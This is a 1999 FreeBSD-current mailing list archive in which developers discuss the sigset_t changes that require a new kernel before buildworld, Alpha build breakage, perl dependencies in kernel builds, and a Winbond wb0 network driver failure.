References: <19990929224847.A26394@foobar.franken.de> <Pine.BSF.4.10.9909291401330.33311-100000@dt014n8c.san.rr.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.93.2i
In-Reply-To: <Pine.BSF.4.10.9909291401330.33311-100000@dt014n8c.san.rr.com>; from Doug on Wed, Sep 29, 1999 at 02:04:27PM -0700
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Wed, Sep 29, 1999 at 02:04:27PM -0700, Doug wrote:
> On Wed, 29 Sep 1999, Harold Gutch wrote:
> 
> > On Wed, Sep 29, 1999 at 11:55:23AM -0700, Doug wrote:
> > > On Wed, 29 Sep 1999, Marcel Moolenaar wrote:
> > > 
> > > > I just finished committing the sigset_t changes I worked on for the last
> > > > 5 weeks.
> > > > 
> > > > Before attempting to build world, you must make and install a new
> > > > kernel. The new kernel will contain new syscalls that are needed during
> > > > build world. doscmd is currently not being build because it needs fixing
> > > > first.
> > > 
> > > 	Is there any way at all that we can change this process so that
> > > building the kernel first is not required? Those of us involved in
> > > educating users about the make world process spend a lot of time telling
> > > them not to do this. It's amazing how long and how tenaciously "one-time"
> > > exceptions like this stick in their minds. 
> > > 
> > Those users shouldn't track (or run) -CURRENT.
> 
> 	My, isn't that a clever solution. Problem is, in N number of
> months -Current will be -Stable. Not to mention that every time someone
> has to upgrade from -Stable to -Current from now on (for entirely
> legitimate reasons) they will have to do this unique procedure. This is
> really a much bigger problem than people seem to realize (however
> necessary it may ultimately turn out to be). 
> 
I interpreted the way of currently handling things (build the
kernel first, then the userland) to be a _temporary_ solution,
that Marcel was working on being fixed. If this is not the case,
then I agree with you.

bye,
  Harold

-- 
<Shabby> Sleep is an abstinence syndrome wich occurs due to lack of caffein.
Wed Mar  4 04:53:33 CET 1998   #unix, ircnet


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 14:26: 3 1999
Delivered-To: freebsd-current@freebsd.org
Received: from uni4nn.gn.iaf.nl (osmium.gn.iaf.nl [193.67.144.12])
	by hub.freebsd.org (Postfix) with ESMTP id CC4D415598
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 14:25:16 -0700 (PDT)
	(envelope-from wilko@yedi.iaf.nl)
Received: from yedi.iaf.nl (uucp@localhost)
	  by uni4nn.gn.iaf.nl (8.9.2/8.9.2) with UUCP id XAA02873;
	  Wed, 29 Sep 1999 23:15:45 +0200 (MET DST)
Received: (from wilko@localhost)
	by yedi.iaf.nl (8.9.3/8.9.3) id WAA02659;
	Wed, 29 Sep 1999 22:24:32 +0200 (CEST)
	(envelope-from wilko)
From: Wilko Bulte <wilko@yedi.iaf.nl>
Message-Id: <199909292024.WAA02659@yedi.iaf.nl>
Subject: Re: HEADS UP: sigset_t changes committed
In-Reply-To: <199909291820.LAA22884@vashon.polstra.com> from John Polstra at "Sep 29, 1999 11:20:30 am"
To: jdp@polstra.com (John Polstra)
Date: Wed, 29 Sep 1999 22:24:32 +0200 (CEST)
Cc: marcel@scc.nl, current@FreeBSD.ORG
X-Organisation: Private FreeBSD site - Arnhem, The Netherlands
X-pgp-info: PGP public key at 'finger wilko@freefall.freebsd.org'
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

As John Polstra wrote ...
> In article <37F23064.98EEBC67@scc.nl>, Marcel Moolenaar  <marcel@scc.nl> wrote:
> > 
> > Alpha users are invited to test the changes since I've not been able to
> > do that myself. I've done all I possibly could do to make this a
> > success.
> 
> It looks like real bad news for the Alpha. :-(  I built and
> installed the kernel as instructed, and then started a make
> buildworld.  That died soon with this:
> 
>     ===> usr.bin
>     "/a/src/usr.bin/Makefile", line 223: Unclosed conditional/for loop
>     "/a/src/usr.bin/Makefile", line 223: Unclosed conditional/for loop
>     "/a/src/usr.bin/Makefile", line 223: 1 open conditional
>     "/a/src/usr.bin/Makefile", line 223: 1 open conditional
>     make: fatal errors encountered -- cannot continue
>     make: fatal errors encountered -- cannot continue
>     *** Error code 1
>     *** Error code 1
> 

Exactly the same thing here 10 minutes ago on my Alpine box.

> Anyway, when the make buildworld failed, I tried to do a "cvs
> status" or some such thing, which caused amd to attempt to mount the
> repository from a different machine.  Wham, instant panic, and it
> trashed out one of my filesystems _thoroughly_ -- 1000 files and 10
> MB in lost+found. :-(

Yikes. No panics here, but I don't have anything NFS mounted here.

-- 
|   / o / /  _  	 Arnhem, The Netherlands	- Powered by FreeBSD -
|/|/ / / /( (_) Bulte 	 WWW  : http://www.tcja.nl 	http://www.freebsd.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 14:56:20 1999
Delivered-To: freebsd-current@freebsd.org
Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74])
	by hub.freebsd.org (Postfix) with ESMTP id AE4DB15A51
	for <current@freebsd.org>; Wed, 29 Sep 1999 14:54:20 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13])
	by wall.polstra.com (8.9.3/8.9.3) with ESMTP id OAA17952;
	Wed, 29 Sep 1999 14:54:19 -0700 (PDT)
	(envelope-from jdp@polstra.com)
From: John Polstra <jdp@polstra.com>
Received: (from jdp@localhost)
	by vashon.polstra.com (8.9.3/8.9.1) id OAA23339;
	Wed, 29 Sep 1999 14:54:18 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Date: Wed, 29 Sep 1999 14:54:18 -0700 (PDT)
Message-Id: <199909292154.OAA23339@vashon.polstra.com>
To: wilko@yedi.iaf.nl
Subject: Re: HEADS UP: sigset_t changes committed
In-Reply-To: <199909292024.WAA02659@yedi.iaf.nl>
References: <199909292024.WAA02659@yedi.iaf.nl>
Organization: Polstra & Co., Seattle, WA
Cc: current@freebsd.org
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

In article <199909292024.WAA02659@yedi.iaf.nl>,
Wilko Bulte  <wilko@yedi.iaf.nl> wrote:
> As John Polstra wrote ...
> > 
> >     ===> usr.bin
> >     "/a/src/usr.bin/Makefile", line 223: Unclosed conditional/for loop
> >     "/a/src/usr.bin/Makefile", line 223: Unclosed conditional/for loop
> >     "/a/src/usr.bin/Makefile", line 223: 1 open conditional
> >     "/a/src/usr.bin/Makefile", line 223: 1 open conditional
> >     make: fatal errors encountered -- cannot continue
> >     make: fatal errors encountered -- cannot continue
> >     *** Error code 1
> >     *** Error code 1
> > 
> 
> Exactly the same thing here 10 minutes ago on my Alpine box.

Marcel has committed the fix for that now.  You can either grab it,
or remove the line "# doscmd \" from that Makefile.

You will also need to grab the latest version of
"src/lib/libc/alpha/gen/setjmp.S".  I committed a fix for a typo in
that file a few minutes ago.  ("addq" was misspelled as "add".)

John
-- 
  John Polstra                                               jdp@polstra.com
  John D. Polstra & Co., Inc.                        Seattle, Washington USA
  "No matter how cynical I get, I just can't keep up."        -- Nora Ephron


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 15:16:57 1999
Delivered-To: freebsd-current@freebsd.org
Received: from rover.village.org (rover.village.org [204.144.255.49])
	by hub.freebsd.org (Postfix) with ESMTP id 7E6B7151D9
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 15:16:53 -0700 (PDT)
	(envelope-from imp@harmony.village.org)
Received: from harmony.village.org (harmony.village.org [10.0.0.6])
	by rover.village.org (8.9.3/8.9.3) with ESMTP id QAA37080;
	Wed, 29 Sep 1999 16:16:51 -0600 (MDT)
	(envelope-from imp@harmony.village.org)
Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id QAA06430; Wed, 29 Sep 1999 16:16:49 -0600 (MDT)
Message-Id: <199909292216.QAA06430@harmony.village.org>
To: "Daniel C. Sobral" <dcs@newsguy.com>
Subject: Re: Loss of Functionality with newpnp 
Cc: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>,
	"Jordan K. Hubbard" <jkh@zippy.cdrom.com>, dmaddox@conterra.com,
	Ollivier Robert <roberto@keltia.freenix.fr>, current@FreeBSD.ORG
In-reply-to: Your message of "Wed, 29 Sep 1999 16:06:12 +0900."
		<37F1BA64.29B5251C@newsguy.com> 
References: <37F1BA64.29B5251C@newsguy.com>  <199909271853.LAA12927@gndrsh.dnsmgr.net> 
Date: Wed, 29 Sep 1999 16:16:49 -0600
From: Warner Losh <imp@village.org>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

In message <37F1BA64.29B5251C@newsguy.com> "Daniel C. Sobral" writes:
: Let me chime in here. We *DO* care about ancient AIC drivers as long
: as no PCMCIA alternative exists.

Justin has said that porting old scsi aic to cam wouldn't be too hard,
but would still provide a level of buginess that is too high..
Otherwise, i'd have done that a long time ago...

Warner


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 15:18:28 1999
Delivered-To: freebsd-current@freebsd.org
Received: from rover.village.org (rover.village.org [204.144.255.49])
	by hub.freebsd.org (Postfix) with ESMTP
	id CEB5014F3D; Wed, 29 Sep 1999 15:18:23 -0700 (PDT)
	(envelope-from imp@harmony.village.org)
Received: from harmony.village.org (harmony.village.org [10.0.0.6])
	by rover.village.org (8.9.3/8.9.3) with ESMTP id QAA37093;
	Wed, 29 Sep 1999 16:17:56 -0600 (MDT)
	(envelope-from imp@harmony.village.org)
Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id QAA06450; Wed, 29 Sep 1999 16:17:51 -0600 (MDT)
Message-Id: <199909292217.QAA06450@harmony.village.org>
To: "Daniel C. Sobral" <dcs@newsguy.com>
Subject: Re: FICL breakage... 
Cc: Joe Abley <jabley@patho.gen.nz>, Mark Murray <mark@grondar.za>,
	dcs@FreeBSD.ORG, current@FreeBSD.ORG, Mike Smith <mike@smith.net.au>
In-reply-to: Your message of "Wed, 29 Sep 1999 21:17:58 +0900."
		<37F20376.64A46CEA@newsguy.com> 
References: <37F20376.64A46CEA@newsguy.com>  <199909291002.MAA52950@gratis.grondar.za> <19990929230549.F10020@patho.gen.nz> 
Date: Wed, 29 Sep 1999 16:17:50 -0600
From: Warner Losh <imp@village.org>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

In message <37F20376.64A46CEA@newsguy.com> "Daniel C. Sobral" writes:
: OTOH, if we are still perl-safe, I could send you the newer perl
: script, so you can adapt from that.

FWIW, one mus have perl installed to build a kernel.

Warner


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 15:25:13 1999
Delivered-To: freebsd-current@freebsd.org
Received: from tardis.patho.gen.nz (tardis.patho.gen.nz [203.97.2.226])
	by hub.freebsd.org (Postfix) with ESMTP
	id 6CFB8159DC; Wed, 29 Sep 1999 15:24:35 -0700 (PDT)
	(envelope-from jabley@tardis.patho.gen.nz)
Received: (from jabley@localhost)
	by tardis.patho.gen.nz (8.9.3/8.9.3) id KAA02148;
	Thu, 30 Sep 1999 10:23:50 +1200 (NZST)
Date: Thu, 30 Sep 1999 10:23:50 +1200
From: Joe Abley <jabley@patho.gen.nz>
To: Warner Losh <imp@village.org>
Cc: "Daniel C. Sobral" <dcs@newsguy.com>,
	Mark Murray <mark@grondar.za>, dcs@FreeBSD.ORG, current@FreeBSD.ORG,
	Mike Smith <mike@smith.net.au>
Subject: Re: FICL breakage...
Message-ID: <19990930102350.A25061@patho.gen.nz>
References: <37F20376.64A46CEA@newsguy.com> <199909291002.MAA52950@gratis.grondar.za> <19990929230549.F10020@patho.gen.nz> <37F20376.64A46CEA@newsguy.com> <199909292217.QAA06450@harmony.village.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.5i
In-Reply-To: <199909292217.QAA06450@harmony.village.org>; from Warner Losh on Wed, Sep 29, 1999 at 04:17:50PM -0600
X-Files: the Truth is Out There
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Wed, Sep 29, 1999 at 04:17:50PM -0600, Warner Losh wrote:
> In message <37F20376.64A46CEA@newsguy.com> "Daniel C. Sobral" writes:
> : OTOH, if we are still perl-safe, I could send you the newer perl
> : script, so you can adapt from that.
> 
> FWIW, one mus have perl installed to build a kernel.

Is that desirable? Or do we need more awk?

This is _not_ a loaded question :)

Joe


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 15:26: 5 1999
Delivered-To: freebsd-current@freebsd.org
Received: from rover.village.org (rover.village.org [204.144.255.49])
	by hub.freebsd.org (Postfix) with ESMTP
	id B34DF154F8; Wed, 29 Sep 1999 15:26:01 -0700 (PDT)
	(envelope-from imp@harmony.village.org)
Received: from harmony.village.org (harmony.village.org [10.0.0.6])
	by rover.village.org (8.9.3/8.9.3) with ESMTP id QAA37160;
	Wed, 29 Sep 1999 16:25:53 -0600 (MDT)
	(envelope-from imp@harmony.village.org)
Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id QAA06568; Wed, 29 Sep 1999 16:25:51 -0600 (MDT)
Message-Id: <199909292225.QAA06568@harmony.village.org>
To: Joe Abley <jabley@patho.gen.nz>
Subject: Re: FICL breakage... 
Cc: "Daniel C. Sobral" <dcs@newsguy.com>,
	Mark Murray <mark@grondar.za>, dcs@FreeBSD.ORG, current@FreeBSD.ORG,
	Mike Smith <mike@smith.net.au>
In-reply-to: Your message of "Thu, 30 Sep 1999 10:23:50 +1200."
		<19990930102350.A25061@patho.gen.nz> 
References: <19990930102350.A25061@patho.gen.nz>  <37F20376.64A46CEA@newsguy.com> <199909291002.MAA52950@gratis.grondar.za> <19990929230549.F10020@patho.gen.nz> <37F20376.64A46CEA@newsguy.com> <199909292217.QAA06450@harmony.village.org> 
Date: Wed, 29 Sep 1999 16:25:51 -0600
From: Warner Losh <imp@village.org>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

In message <19990930102350.A25061@patho.gen.nz> Joe Abley writes:
: > FWIW, one mus have perl installed to build a kernel.
: 
: Is that desirable? Or do we need more awk?

It simply is.

It would be very hard, imho, to replace doug's perl scripts with awk
ones.  However, my knowledge of perl >> awk, so there maybe some awk
tricks that would make it easier.

Warner


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 16: 4:27 1999
Delivered-To: freebsd-current@freebsd.org
Received: from penelope.skunk.org (penelope.skunk.org [208.133.204.51])
	by hub.freebsd.org (Postfix) with ESMTP id DBF4515124
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 16:03:55 -0700 (PDT)
	(envelope-from ben@penelope.skunk.org)
Received: from localhost (ben@localhost)
	by penelope.skunk.org (8.9.3/8.9.3) with ESMTP id TAA56898;
	Wed, 29 Sep 1999 19:06:24 -0400 (EDT)
Date: Wed, 29 Sep 1999 19:06:24 -0400 (EDT)
From: Ben Rosengart <ben@skunk.org>
To: Harold Gutch <logix@foobar.franken.de>
Cc: Doug <Doug@gorean.org>, Marcel Moolenaar <marcel@scc.nl>,
	current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
In-Reply-To: <19990929231253.B26394@foobar.franken.de>
Message-ID: <Pine.BSF.4.10.9909291905290.56586-100000@penelope.skunk.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Wed, 29 Sep 1999, Harold Gutch wrote:

> I interpreted the way of currently handling things (build the
> kernel first, then the userland) to be a _temporary_ solution,
> that Marcel was working on being fixed. If this is not the case,
> then I agree with you.

If I understand correctly, it only needs to be done once per system, but
it makes no difference whether it happens on a given system now or six
months from now.

--
 Ben Rosengart

UNIX Systems Engineer, Skunk Group
StarMedia Network, Inc.



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 16:18: 1 1999
Delivered-To: freebsd-current@freebsd.org
Received: from dt014n8c.san.rr.com (dt011n66.san.rr.com [204.210.13.102])
	by hub.freebsd.org (Postfix) with ESMTP id BC5F914E38
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 16:17:58 -0700 (PDT)
	(envelope-from Doug@gorean.org)
Received: from localhost (doug@localhost)
	by dt014n8c.san.rr.com (8.9.3/8.8.8) with ESMTP id QAA35069;
	Wed, 29 Sep 1999 16:17:30 -0700 (PDT)
	(envelope-from Doug@gorean.org)
Date: Wed, 29 Sep 1999 16:17:29 -0700 (PDT)
From: Doug <Doug@gorean.org>
X-Sender: doug@dt014n8c.san.rr.com
To: Ben Rosengart <ben@skunk.org>
Cc: Harold Gutch <logix@foobar.franken.de>,
	Marcel Moolenaar <marcel@scc.nl>, current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
In-Reply-To: <Pine.BSF.4.10.9909291905290.56586-100000@penelope.skunk.org>
Message-ID: <Pine.BSF.4.10.9909291616240.35014-100000@dt014n8c.san.rr.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Wed, 29 Sep 1999, Ben Rosengart wrote:

> On Wed, 29 Sep 1999, Harold Gutch wrote:
> 
> > I interpreted the way of currently handling things (build the
> > kernel first, then the userland) to be a _temporary_ solution,
> > that Marcel was working on being fixed. If this is not the case,
> > then I agree with you.
> 
> If I understand correctly, it only needs to be done once per system, but
> it makes no difference whether it happens on a given system now or six
> months from now.

	Yes, if I understand Marcel correctly from this moment forward
everyone who upgrades from any version of freebsd prior to today's
-current will have to build the kernel first. 

Doug
-- 
"Stop it, I'm gettin' misty." 

    - Mel Gibson as Porter, "Payback"



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 16:23:59 1999
Delivered-To: freebsd-current@freebsd.org
Received: from foobar.franken.de (foobar.franken.de [194.94.249.81])
	by hub.freebsd.org (Postfix) with ESMTP id F36CB14D8E
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 16:23:39 -0700 (PDT)
	(envelope-from logix@foobar.franken.de)
Received: (from logix@localhost)
	by foobar.franken.de (8.8.8/8.8.5) id BAA27156;
	Thu, 30 Sep 1999 01:20:53 +0200 (CEST)
Message-ID: <19990930012053.A27137@foobar.franken.de>
Date: Thu, 30 Sep 1999 01:20:53 +0200
From: Harold Gutch <logix@foobar.franken.de>
To: Doug <Doug@gorean.org>, Ben Rosengart <ben@skunk.org>
Cc: Marcel Moolenaar <marcel@scc.nl>, current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
References: <Pine.BSF.4.10.9909291905290.56586-100000@penelope.skunk.org> <Pine.BSF.4.10.9909291616240.35014-100000@dt014n8c.san.rr.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.93.2i
In-Reply-To: <Pine.BSF.4.10.9909291616240.35014-100000@dt014n8c.san.rr.com>; from Doug on Wed, Sep 29, 1999 at 04:17:29PM -0700
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Wed, Sep 29, 1999 at 04:17:29PM -0700, Doug wrote:
> On Wed, 29 Sep 1999, Ben Rosengart wrote:
> 
> > On Wed, 29 Sep 1999, Harold Gutch wrote:
> > 
> > > I interpreted the way of currently handling things (build the
> > > kernel first, then the userland) to be a _temporary_ solution,
> > > that Marcel was working on being fixed. If this is not the case,
> > > then I agree with you.
> > 
> > If I understand correctly, it only needs to be done once per system, but
> > it makes no difference whether it happens on a given system now or six
> > months from now.
> 
> 	Yes, if I understand Marcel correctly from this moment forward
> everyone who upgrades from any version of freebsd prior to today's
> -current will have to build the kernel first. 
> 
Uhm, that's the way I see it being _right now_ as well. What I
was thinking of, was that things would go smoother if you
wouldn't upgrade _right now_, but in [insert some time in the
near future here], as things would perhaps be "fixed" by then.
And yes, I'm thinking of an upgrade from the "classical
kernel/userland" to the "new one", e.g. an upgrade from last
week's kernel and userland to the one in two months time.

Perhaps I silently just expected too much :).

bye,
  Harold

-- 
<Shabby> Sleep is an abstinence syndrome wich occurs due to lack of caffein.
Wed Mar  4 04:53:33 CET 1998   #unix, ircnet


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 16:34:10 1999
Delivered-To: freebsd-current@freebsd.org
Received: from dt014n8c.san.rr.com (dt011n66.san.rr.com [204.210.13.102])
	by hub.freebsd.org (Postfix) with ESMTP id C662414EA7
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 16:33:43 -0700 (PDT)
	(envelope-from Doug@gorean.org)
Received: from localhost (doug@localhost)
	by dt014n8c.san.rr.com (8.9.3/8.8.8) with ESMTP id QAA35138;
	Wed, 29 Sep 1999 16:33:27 -0700 (PDT)
	(envelope-from Doug@gorean.org)
Date: Wed, 29 Sep 1999 16:33:27 -0700 (PDT)
From: Doug <Doug@gorean.org>
X-Sender: doug@dt014n8c.san.rr.com
To: Harold Gutch <logix@foobar.franken.de>
Cc: Ben Rosengart <ben@skunk.org>, Marcel Moolenaar <marcel@scc.nl>,
	current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
In-Reply-To: <19990930012053.A27137@foobar.franken.de>
Message-ID: <Pine.BSF.4.10.9909291632080.35014-100000@dt014n8c.san.rr.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Thu, 30 Sep 1999, Harold Gutch wrote:

> Uhm, that's the way I see it being _right now_ as well. What I
> was thinking of, was that things would go smoother if you
> wouldn't upgrade _right now_, but in [insert some time in the
> near future here], as things would perhaps be "fixed" by then.

	There is no fix to make. If the binaries built by the current
sources cannot run unless the sigset_t stuff is in the kernel of the
machine that they are running on this problem will never be "fixed." 

Doug
-- 
"Stop it, I'm gettin' misty." 

    - Mel Gibson as Porter, "Payback"



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 16:53:40 1999
Delivered-To: freebsd-current@freebsd.org
Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4])
	by hub.freebsd.org (Postfix) with ESMTP id 2819914D45
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 16:53:36 -0700 (PDT)
	(envelope-from freebsd@gndrsh.dnsmgr.net)
Received: (from freebsd@localhost)
	by gndrsh.dnsmgr.net (8.9.3/8.9.3) id QAA21938;
	Wed, 29 Sep 1999 16:51:37 -0700 (PDT)
	(envelope-from freebsd)
From: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Message-Id: <199909292351.QAA21938@gndrsh.dnsmgr.net>
Subject: Re: HEADS UP: sigset_t changes committed
In-Reply-To: <Pine.BSF.4.10.9909291632080.35014-100000@dt014n8c.san.rr.com> from Doug at "Sep 29, 1999 04:33:27 pm"
To: Doug@gorean.org (Doug)
Date: Wed, 29 Sep 1999 16:51:37 -0700 (PDT)
Cc: logix@foobar.franken.de (Harold Gutch),
	ben@skunk.org (Ben Rosengart), marcel@scc.nl (Marcel Moolenaar),
	current@FreeBSD.ORG
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> On Thu, 30 Sep 1999, Harold Gutch wrote:
> 
> > Uhm, that's the way I see it being _right now_ as well. What I
> > was thinking of, was that things would go smoother if you
> > wouldn't upgrade _right now_, but in [insert some time in the
> > near future here], as things would perhaps be "fixed" by then.
> 
> 	There is no fix to make. If the binaries built by the current
> sources cannot run unless the sigset_t stuff is in the kernel of the
> machine that they are running on this problem will never be "fixed." 

Then the tools target is broken.  The intent of the tools target it
to build a running on the current system set of binaries that can
build the FreeBSD tree, it the binaries in obj/tmp won't run on
the current system something is broken.

If it is broken, please back out the signal changes or fix the tools
target.

-- 
Rod Grimes - KD7CAX - (RWG25)                    rgrimes@gndrsh.dnsmgr.net


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 16:56:32 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16])
	by hub.freebsd.org (Postfix) with ESMTP id 3C2B814D7B
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 16:56:27 -0700 (PDT)
	(envelope-from bde@zeta.org.au)
Received: from d219.syd2.zeta.org.au (beefcake.zeta.org.au [203.26.10.12])
	by mailman.zeta.org.au (8.8.7/8.8.7) with ESMTP id JAA28533;
	Thu, 30 Sep 1999 09:56:54 +1000
Date: Thu, 30 Sep 1999 09:55:53 +1000 (EST)
From: Bruce Evans <bde@zeta.org.au>
X-Sender: bde@alphplex.bde.org
To: Doug <Doug@gorean.org>
Cc: Marcel Moolenaar <marcel@scc.nl>, current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
In-Reply-To: <Pine.BSF.4.10.9909291153030.31379-100000@dt014n8c.san.rr.com>
Message-ID: <Pine.BSF.4.10.9909300948290.15490-100000@alphplex.bde.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> > Before attempting to build world, you must make and install a new
> > kernel. The new kernel will contain new syscalls that are needed during
> > build world. doscmd is currently not being build because it needs fixing
> > first.
> 
> 	Is there any way at all that we can change this process so that
> building the kernel first is not required?

No.

> Those of us involved in
> educating users about the make world process spend a lot of time telling
> them not to do this. It's amazing how long and how tenaciously "one-time"
> exceptions like this stick in their minds. 

The users are probably right in this case :-).  New kernels normally
don't break anything except utilities that grope in kmem.  New kernels
are about 1000 times easier to back out of than wrong worlds (just
boot a backup kernel).

Bruce



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 17:28:14 1999
Delivered-To: freebsd-current@freebsd.org
Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74])
	by hub.freebsd.org (Postfix) with ESMTP
	id 58FDB151D1; Wed, 29 Sep 1999 17:27:51 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13])
	by wall.polstra.com (8.9.3/8.9.3) with ESMTP id RAA18505;
	Wed, 29 Sep 1999 17:27:50 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: (from jdp@localhost)
	by vashon.polstra.com (8.9.3/8.9.1) id RAA23667;
	Wed, 29 Sep 1999 17:27:50 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Message-ID: <XFMail.990929172750.jdp@polstra.com>
X-Mailer: XFMail 1.3 [p0] on FreeBSD
X-Priority: 3 (Normal)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
MIME-Version: 1.0
Date: Wed, 29 Sep 1999 17:27:50 -0700 (PDT)
Organization: Polstra & Co., Inc.
From: John Polstra <jdp@polstra.com>
To: current@freebsd.org
Subject: Is the wb driver broken?
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

I've run into a problem with the wb0 interface (Winbond) on a
machine running -current from yesterday.  (That's before any of
the segset_t changes went in.)  Unfortunately, the machine is
cvsup-master.freebsd.org, which makes this pretty urgent.

When I try to ifconfig the device, I get "ifconfig: SIOCSIFMEDIA:
Device not configured":

cvsup-master# ifconfig wb0 inet 204.216.27.25  netmask 255.255.255.240 media 100baseTX mediaopt half-duplex
ifconfig: SIOCSIFMEDIA: Device not configured

The kernel config file does have both miibus0 and wb0 in it.  Just
to make sure I built a GENERIC kernel, but it displays the same
problem.

I'm appending the dmesg output from the GENERIC kernel.  The kernel
is GENERIC revision 1.192.  If any of you know something about this,
please let me know ASAP so I can get cvsup-master back on-line.

Thanks,
John
--
  John Polstra                                               jdp@polstra.com
  John D. Polstra & Co., Inc.                        Seattle, Washington USA
  "No matter how cynical I get, I just can't keep up."        -- Nora Ephron

Copyright (c) 1992-1999 The FreeBSD Project.
Copyright (c) 1982, 1986, 1989, 1991, 1993
        The Regents of the University of California. All rights reserved.
FreeBSD 4.0-CURRENT #0: Wed Sep 29 17:01:43 PDT 1999
    root@cvsup-master.freebsd.org:/k/local/src/sys/compile/GENERIC
Timecounter "i8254"  frequency 1193182 Hz
CPU: Celeron (451.02-MHz 686-class CPU)
  Origin = "GenuineIntel"  Id = 0x660  Stepping = 0
